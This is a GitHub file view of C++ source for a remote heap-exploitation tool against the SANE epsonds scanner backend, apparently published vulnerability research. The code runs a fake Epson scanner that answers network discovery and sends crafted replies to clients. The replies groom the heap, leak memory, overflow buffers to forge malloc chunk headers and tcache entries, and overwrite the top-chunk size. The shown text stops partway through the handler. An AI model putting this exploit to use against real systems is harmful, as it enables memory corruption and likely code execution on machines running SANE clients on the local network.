-
Notifications
You must be signed in to change notification settings - Fork 283
Expand file tree
/
Copy pathsane_backends_exploit.cpp
More file actions
1441 lines (1311 loc) · 53.8 KB
/
sane_backends_exploit.cpp
File metadata and controls
1441 lines (1311 loc) · 53.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <string.h>
#include <assert.h>
#include <arpa/inet.h>
#include <map>
#include "utils.hpp"
// This number is the buffer size that we use in the "large_mmap" stage.
// The exact value doesn't matter too much: it just needs to be more than
// the amount of memory that we are going to use during the rest of
// the exploit, so that we don't accidentally hit invalid memory when
// we allocate from the top chunk.
static const uint32_t large_mmap_size = 0x1ffd0;
// Keep track of the set of client ip addresses that have sent us
// an Epson discover message. This is so that we can count the
// number of times that we have accepted a TCP connection from
// each client so far. (The exploit involves tricking the client
// into connecting to us multiple times.) We reset the counter
// when we receive a new discover message.
class EpsonClientSet {
// The key of the std::map is the IP address of the client.
class Key {
in_addr peer_addr_;
public:
Key(const sockaddr* peer_addr, socklen_t peer_addr_len) {
assert(peer_addr_len >= sizeof(sockaddr_in));
peer_addr_ = ((const sockaddr_in*)peer_addr)->sin_addr;
printf("Key: %s", inet_ntoa(peer_addr_));
}
bool operator<(const Key& that) const {
return memcmp(&peer_addr_, &that.peer_addr_, sizeof(in_addr)) < 0;
}
};
std::map<Key, size_t> counts_;
public:
void resetClient(const sockaddr* peer_addr, socklen_t peer_addr_len) {
printf("resetClient ");
if (peer_addr_len < sizeof(sockaddr_in)) {
return;
}
counts_[Key(peer_addr, peer_addr_len)] = 0;
printf("\n");
}
size_t incrClient(const sockaddr* peer_addr, socklen_t peer_addr_len) {
printf("incrClient ");
auto i = counts_.find(Key(peer_addr, peer_addr_len));
if (i != counts_.end()) {
size_t n = (i->second)++;
printf(" count: %lu\n", n);
return n;
}
printf("incrClient key not found: ");
counts_[Key(peer_addr, peer_addr_len)] = 1;
printf("\n");
return 0;
}
};
static const char epsonp_discover[15] = "EPSONP\x00\xff\x00\x00\x00\x00\x00\x00";
static const char epsonp_response[76] =
"EPSON ";
class EpsonHandlerUDP : public RecvHandlerUDP {
EpsonClientSet& epsonClientSet_;
public:
EpsonHandlerUDP(EpsonClientSet& epsonClientSet) :
epsonClientSet_(epsonClientSet)
{}
virtual ~EpsonHandlerUDP() {}
int receive(
const uint8_t* buf, ssize_t len,
SocketHandlerUDP& sock,
const sockaddr* peer_addr, socklen_t peer_addr_len
) override {
print_addr(peer_addr, peer_addr_len);
printf("\n");
if (len != sizeof(epsonp_discover)) {
// We're not interested in this message.
return 0;
}
if (memcmp(buf, epsonp_discover, sizeof(epsonp_discover)) != 0) {
// We're not interested in this message.
return 0;
}
// This is the first contact from this client, so reset/create
// its counter.
epsonClientSet_.resetClient(peer_addr, peer_addr_len);
printf("EPSON discover\n");
for (size_t i = 0; i < 128; i++) {
if (sock.replyto(
epsonp_response, sizeof(epsonp_response),
peer_addr,
peer_addr_len
) < 0) {
printf("failed to send response.\n");
}
}
return 0;
}
};
class EpsonHandlerTCP : public RecvHandlerTCP {
public:
enum AcceptState : size_t {
A_groom_heap = 0,
A_create_tcache_blocks = 64,
A_reindex_tcache_blocks,
A_overwrite_tcache_blocks,
A_create_extra_tcache_block00,
A_large_mmap = A_create_extra_tcache_block00 + 15,
A_create_barrier1,
A_resize_buffer1,
A_overwrite_top,
A_subtract_top,
A_copy_pointer
};
private:
enum HdrState {
H_wait_hdr, // Waiting for the 12 byte header
H_wait_extra_hdr, // Waiting for the extra 8 header bytes
H_wait_payload, // Waiting for the message payload
H_wait_moreinfo, // Waiting for the request for more info
H_wait_stackdump // Waiting for the stack dump after triggering the info leak.
};
// What to do when we receive the H_wait_moreinfo message.
enum MoreinfoState {
// Respond with a message which causes memory to be leaked.
M_leakmem,
// Allocate some tcache-sized blocks from the top chunk,
// then free them, so that they go in the tcache.
M_create_tcache_blocks,
M_reindex_tcache_blocks,
M_overwrite_tcache_blocks,
M_create_extra_tcache_block,
M_reindex_extra_tcache_block,
M_resize_extra_tcache_block,
// Respond with a message which causes a large amount of memory to
// be allocated and then freed, thereby mmap-ing more memory.
M_large_mmap,
// Respond with a message which causes decode_before to leak
// some memory. We use this to split the heap, because pbuf (epsonds-cmd.c:187)
// is allocated at a lower address and is subsequently freed, leaving a gap
// in the heap.
M_create_barrier,
// We use a buffer overflow to enlarge the PRD buffer before it is freed.
M_resize_buffer,
// We allocate a PRD buffer. Due to previous heap massage, this will
// overwrite the size of the top chunk.
M_overwrite_top,
M_subtract_top,
M_copy_pointer,
// Leak a 64 byte allocation.
M_leakmem64,
M_leakmem64_nrdBUSY
};
// The number of times that we have accepted a TCP connection
// from this client. (The exploit involves tricking the client
// into connecting to us multiple times.)
const size_t acceptCount_;
// Only used when acceptCount_ == A_copy_pointer. We need to go round
// the in esci2_info a few times to leak all the 64 byte blocks in the
// tcache. This counter keeps track of the number of loop iterations.
size_t copy_pointer_info_count_;
HdrState state_;
MoreinfoState moreinfo_state_;
uint16_t cmd_;
uint32_t buf_size_;
uint32_t reply_len_;
ssize_t send_ack(SocketHandlerTCP& sock) {
const char reply[13] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0, 6};
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_hdr;
return 12;
}
void send_leakmem(SocketHandlerTCP& sock) {
// Trigger the `wanted > size` case (epsonds-net.c:149), which leaks
// the reply buffer because we sent a shorter reply than expected.
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// The VER command triggers a 0xf8 byte malloc/free pair. We do this
// to reserve some space for the next allocation of `struct
// epsonds_device` at epsonds.c:349. Otherwise that allocation could
// split the block that was previously used for `struct
// epsonds_scanner` (epsonds.c:303) which would ruin our heap grooming
// strategy.
sprintf(&reply[17], "#VERh0f7kevwozere#---");
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
}
void send_create_tcache_blocks(SocketHandlerTCP& sock) {
printf("send_create_tcache_blocks %x\n", reply_len_);
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(reply_len_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// Send the requested amount of data.
// Include two VER commands, each of which will allocate some
// memory from the top chunk and then return it to the tcache.
char buf[0xa30];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#VERh3cfkevwozere#VERh3dfkevwozere#---");
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_reindex_tcache_blocks(SocketHandlerTCP& sock) {
printf("send_reindex_tcache_blocks %x\n", reply_len_);
const uint32_t overflow_len = 0x510 + 0x400 + 0x30;
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(overflow_len);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// The reply includes a VER command so that the first tcache
// block will get allocated and freed. We use the buffer
// overflow to change its size, so that it will be returned to
// a different tcache index.
char buf[overflow_len];
memset(buf, 0, sizeof(buf));
sprintf(buf,"#VERh3cfkevwozere#---");
*(uint64_t*)&buf[0x510] = 0x520; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x8] = 0x405; // New size (was 0x3e5)
*(uint64_t*)&buf[0x510 + 0x3e0] = 0; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x3e8] = 0x3f5; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x400] = 0; // Terminate new block
*(uint64_t*)&buf[0x510 + 0x408] = 0x25; // Fake next chunk
*(uint64_t*)&buf[0x510 + 0x400 + 0x20] = 0x20; // Fake next chunk
*(uint64_t*)&buf[0x510 + 0x400 + 0x28] = 0x25; // Fake next chunk
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_overwrite_tcache_blocks(SocketHandlerTCP& sock) {
printf("send_overwrite_tcache_blocks %x\n", reply_len_);
const uint32_t overflow_len = 0x510 + 0x3e0 + 0x80;
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(overflow_len);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// The two tcache blocks are now stored at their desired tcache
// indices. We're now going to overwrite them so that they look like
// they are 0x40 byte allocations. Later, we will be able to allocate
// them based on their old size, but they'll be returned as 0x40 byte
// allocations.
char buf[overflow_len];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#---");
*(uint64_t*)&buf[0x510] = 0x520; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x8] = 0x55; // New size (was 0x405)
*(uint64_t*)&buf[0x510 + 0x50] = 0x50; // New size
*(uint64_t*)&buf[0x510 + 0x58] = 0x25; // Fake chunk
*(uint64_t*)&buf[0x510 + 0x70] = 0x20; // Fake chunk
*(uint64_t*)&buf[0x510 + 0x78] = 0x25; // Fake chunk
*(uint64_t*)&buf[0x510 + 0x3e0] = 0; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x3e8] = 0x55; // New size (was 0x3f5)
*(uint64_t*)&buf[0x510 + 0x3e0 + 0x50] = 0x50; // New size
*(uint64_t*)&buf[0x510 + 0x3e0 + 0x58] = 0x25; // Fake chunk
*(uint64_t*)&buf[0x510 + 0x3e0 + 0x70] = 0x20; // Fake chunk
*(uint64_t*)&buf[0x510 + 0x3e0 + 0x78] = 0x25; // Fake chunk
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_create_extra_tcache_block(SocketHandlerTCP& sock) {
printf("send_create_extra_tcache_block %x\n", reply_len_);
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(reply_len_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// Allocate and free 0x400 bytes. It will go in the tcache.
char buf[0xa30];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#VERh3ff#---");
// Prepare the end of the chunk so that we can resize it to 0x3e0 on
// the next iteration.
*(uint64_t*)&buf[8 + 0x3d0] = 0x3e0;
*(uint64_t*)&buf[8 + 0x3d8] = 0x35; // Fake chunk (covering gap to top chunk)
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_reindex_extra_tcache_block(SocketHandlerTCP& sock) {
printf("send_reindex_extra_tcache_block %x\n", reply_len_);
const uint32_t overflow_len = 0x510 + 0x10;
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(overflow_len);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// Allocate and free the chunk that we created during the previous
// iteration. We have used the buffer overflow to modify its header
// so that it now looks like a chunk of size 0x3e0. So it will be
// returned to a different tcache index.
char buf[overflow_len];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#VERh3ff#---");
// Prepare the end of the chunk so that we can resize it to 0x50 on
// the next iteration.
*(uint64_t*)&buf[8 + 0x40] = 0x50;
*(uint64_t*)&buf[8 + 0x48] = 0x25; // Fake chunk
*(uint64_t*)&buf[8 + 0x60] = 0x20; // Fake chunk
*(uint64_t*)&buf[8 + 0x68] = 0x25; // Fake chunk
// Use buffer overflow to change the size of the buffer.
*(uint64_t*)&buf[0x510] = 0x520; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x8] = 0x3e5; // New size (was 0x415)
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_resize_extra_tcache_block(SocketHandlerTCP& sock) {
printf("send_reindex_extra_tcache_block %x\n", reply_len_);
const uint32_t overflow_len = 0x510 + 0x10;
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(overflow_len);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// Overwrite the header of the chunk so that its size is 0x50.
// It is currently stored in the tcache for chunks of size 0x3e0,
// so it will sit there happily until we are ready to use it
// later in the exploit. At that time, we will be able to use
// the VERh3cf command to allocate and free the chunk, and it
// will be returned as a chunk of size 0x50.
char buf[overflow_len];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#---");
// Use buffer overflow to change the size of the buffer.
*(uint64_t*)&buf[0x510] = 0x520; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x8] = 0x55; // New size (was 0x3e5)
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_mmap(SocketHandlerTCP& sock) {
printf("send_mmap %x\n", reply_len_);
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(reply_len_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
char buf[large_mmap_size];
memset(buf, 0, sizeof(buf));
sock.reply(buf, sizeof(buf));
}
void send_create_barrier(SocketHandlerTCP& sock) {
printf("send_create_barrier %x\n", reply_len_);
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(reply_len_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// Send the requested amount of data.
// Include a PRD instruction which tells decode_buffer to
// allocated 0x510 bytes.
char buf[0xa30];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#PRDh50fkevwozere#---");
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_resize_buffer(SocketHandlerTCP& sock) {
printf("send_resize_buffer %x\n", reply_len_);
const uint32_t overflow_len = 0x510 + 0x520 + 0x1440 + 0x30;
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(overflow_len);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// Send more data than requested. We're going to overwrite
// the PRD buffer to make it look bigger. We also include
// a new PRD instruction in the response which will allocate
// a smaller buffer in the bottom half of the new large block.
// That PRD allocation is leaked which means that we now have
// a free buffer that overlaps with the top chunk.
char buf[overflow_len];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#PRDh9dfkevwozere#---");
// Expected reply buffer is 0x510 bytes.
// Barrier is 0x510 bytes.
// Old PRD buffer is 0xa60 bytes
// New PRD size is 0x1430 bytes
*(uint64_t*)&buf[0x510] = 0x520; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x8] = 0x525; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x520] = 0; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x520 + 0x8] = 0x1445; // New size (was 0xa55)
*(uint64_t*)&buf[0x510 + 0x520 + 0xa70 + 0x8] = 0x10001; // Overwrite top chunk size
*(uint64_t*)&buf[0x510 + 0x520 + 0x1440] = 0x1440; // New size
*(uint64_t*)&buf[0x510 + 0x520 + 0x1440 + 0x8] = 0x25; // Fake next chunk
*(uint64_t*)&buf[0x510 + 0x520 + 0x1440 + 0x20] = 0x20; // Fake next chunk
*(uint64_t*)&buf[0x510 + 0x520 + 0x1440 + 0x28] = 0x25; // Fake next chunk
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_overwrite_top(SocketHandlerTCP& sock) {
printf("send_overwrite_top %x\n", reply_len_);
const uint32_t overflow_len = 0x510 + 0x520 + 0xa70 + 0x8 + 0x1;
char reply[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&reply[6] = htonl(overflow_len);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// Send more data than requested. We're going to overwrite the bottom
// byte of the size of the top chunk with 0x1 to make it valid, so that
// we can start allocating memory from the top chunk. We also include a
// new PRD instruction in the response to leak one of the 0x510 blocks
// before the barrier, because we don't need it anymore.
char buf[overflow_len];
memset(buf, 0, sizeof(buf));
sprintf(buf, "#PRDh50fkevwozere#---");
// Expected reply buffer is 0x510 bytes.
// Barrier is 0x510 bytes.
// Old PRD buffer is 0xa60 bytes
// New PRD size is 0x1430 bytes
*(uint64_t*)&buf[0x510] = 0x520; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x8] = 0x525; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x520] = 0; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x520 + 0x8] = 0x9f5; // Preserve what was there before.
// Overwrite the old PRD block so that it looks like a 64 byte allocation.
// This will be freed and added to the tcache. We need the tcache to be
// fully loaded for the the rest of the exploit to work. It's probably already
// full but this is a convenient opportunity to free another chunk so we might
// as well take it.
*(uint64_t*)&buf[0x510 + 0x520 + 0x9f0] = 0; // Preserve what was there before.
*(uint64_t*)&buf[0x510 + 0x520 + 0x9f0 + 0x8] = 0x55; // 64 byte chunk
*(uint64_t*)&buf[0x510 + 0x520 + 0x9f0 + 0x50] = 0x50; // New size
*(uint64_t*)&buf[0x510 + 0x520 + 0x9f0 + 0x58] = 0x25; // Fake next chunk
*(uint64_t*)&buf[0x510 + 0x520 + 0x9f0 + 0x70] = 0x20; // Fake next chunk
*(uint64_t*)&buf[0x510 + 0x520 + 0x9f0 + 0x78] = 0x25; // Fake next chunk
buf[0x510 + 0x520 + 0xa70 + 0x8] = 0x1; // Overwrite bottom byte of top chunk size.
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_subtract_top(SocketHandlerTCP& sock) {
// Trigger the `wanted > size` case (epsonds-net.c:149), which leaks
// the reply buffer because we sent a shorter reply than expected.
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// We have previously overwritten the size of the top chunk with a
// stack address. Now we are subtracting an offset from that stack
// address by allocating a large block of memory. We will leak the
// reply buffer so that the top chunk stays at the position that we
// just moved it to. (Also because the reply buffer is freed then the
// malloc implementation will notice that the size of the top chunk is
// invalid and crash.)
//
// We include a VER command to allocate 0x400 bytes. There are currently
// no gaps in memory, so this will be allocated immediately after the
// reply buffer. But when we free it, it will be added to the tcache.
sprintf(&reply[17], "#VERh3ffkevwozere#---");
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
}
void send_copy_pointer(SocketHandlerTCP& sock) {
printf("send_copy_pointer %x\n", reply_len_);
const uint32_t len = 0x400;
char header[12] = {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 1, 0, 0};
*(uint32_t*)&header[6] = htonl(len);
char buf[sizeof(header) + len];
memset(buf, 0, sizeof(buf));
memcpy(buf, header, sizeof(header));
sprintf(
&buf[sizeof(header)],
"#VERh3df#AAAAAAAAAAAAAAAAAAAAAAAA#VERh3ef#AAA"
);
*(uint64_t*)&buf[sizeof(header) + 8 + 0x40] = 0x50;
*(uint64_t*)&buf[sizeof(header) + 8 + 0x48] = 0x25;
*(uint64_t*)&buf[sizeof(header) + 8 + 0x60] = 0x20;
*(uint64_t*)&buf[sizeof(header) + 8 + 0x68] = 0x25;
*(uint64_t*)&buf[sizeof(header) + 41 + 0x40] = 0x50;
*(uint64_t*)&buf[sizeof(header) + 41 + 0x48] = 0x25;
*(uint64_t*)&buf[sizeof(header) + 41 + 0x60] = 0x20;
*(uint64_t*)&buf[sizeof(header) + 41 + 0x68] = 0x25;
// Add "nrdBUSY" so that we repeat the loop in esci2_info.
sprintf(
&buf[sizeof(header) + 41 + 0x70],
"#nrdBUSY"
);
for (size_t i = 0; i < 5; i++) {
const size_t offset = sizeof(header) + 41 + 0x78 + i * 0x78;
sprintf(&buf[offset], "#VERh3cf");
*(uint64_t*)&buf[offset + 8 + 0x40] = 0x50;
*(uint64_t*)&buf[offset + 8 + 0x48] = 0x25;
*(uint64_t*)&buf[offset + 8 + 0x60] = 0x20;
*(uint64_t*)&buf[offset + 8 + 0x68] = 0x25;
}
sprintf(
&buf[sizeof(header) + 41 + 0x78 + 5 * 0x78],
"#PRDh03f#---"
);
const ssize_t wr = sock.reply(buf, sizeof(buf));
if (wr < 0) {
const int err = errno;
printf("send failed: %s\n", strerror(err));
} else {
printf("total sent: %ld bytes\n", wr);
}
}
void send_leakmem64_nrdBUSY(SocketHandlerTCP& sock) {
// Trigger the `wanted > size` case (epsonds-net.c:149), which leaks
// the reply buffer because we sent a shorter reply than expected.
char reply[75] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 63, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
sprintf(&reply[17], "#nrdBUSY#---");
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
}
void send_leakmem64(SocketHandlerTCP& sock) {
// Trigger the `wanted > size` case (epsonds-net.c:149), which leaks
// the reply buffer because we sent a shorter reply than expected.
char reply[75] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 63, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
sprintf(&reply[17], "#---");
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
}
ssize_t eds_send(SocketHandlerTCP& sock, const uint8_t* buf) {
if (buf_size_ == 2 && memcmp(buf, "\x1CX", 2) == 0 && reply_len_ == 1) {
return send_ack(sock);
} else if (buf_size_ == 12 && memcmp(buf, "INFOx0000000", 12) == 0 && reply_len_ == 64) {
if (acceptCount_ < A_create_tcache_blocks) {
printf("A_groom_heap %lu\n", acceptCount_);
// On the first few iterations, we want to groom the heap by leaking quite
// a bit of memory. There are three goals:
//
// 1. Fill any large gaps so that any subsequent large allocations will
// come from the top chunk.
// 2. Leave plenty of smaller gaps to absorb smaller memory
// leaks. In particular, the code is going to leak an object of
// type `struct epsonds_device` (size 0xf8 bytes) on every
// iteration. Several small strings are also leaked on every
// iteration.
// 3. Empty the tcache for allocations of size 0x3d0, 0x3e0, 0x3f0,
// and 0x400. That's because we want to allocate blocks of those
// sizes from the top chunk and then store them in the tcache to
// use later. If the tcache isn't empty then they won't get allocated
// from the top chunk and everything will go wrong.
//
// We accomplish these goals by repeatedly leaking a PRD allocation
// of size 0x3d0/0x3e0/0x3f0/0x400 and a reply buffer of size
// 0x830. Once we have finished filling any existing gaps, this
// will settle into a pattern where the leaked reply buffer from
// the previous iteration gets split to service the PRD allocation,
// leaving a gap of size 0x400. The end result is that the tcache
// is full and there are plenty of extra blocks of size 0x400
// available to service the smaller allocations.
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// Just too small to accomodate two blocks of size 0x3d0, so that
// when it gets split, it doesn't leave a gap that can be reused
// for an allocation of size 0x3d0.
const uint32_t more = 0x7a0;
// Use a PRD to leak an allocation of size 0x3d0/0x3e0/0x3f0/0x400.
const size_t prdsize = 0x3d0 + 0x10 * (acceptCount_ % 4) - 1;
sprintf(
&reply[17], "%07x#iter%lu#PRDh%lxkevwozere#---",
more, acceptCount_, prdsize
);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_leakmem;
return 20;
} else if (acceptCount_ == A_create_tcache_blocks) {
printf("A_create_tcache_blocks %lu\n", acceptCount_);
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
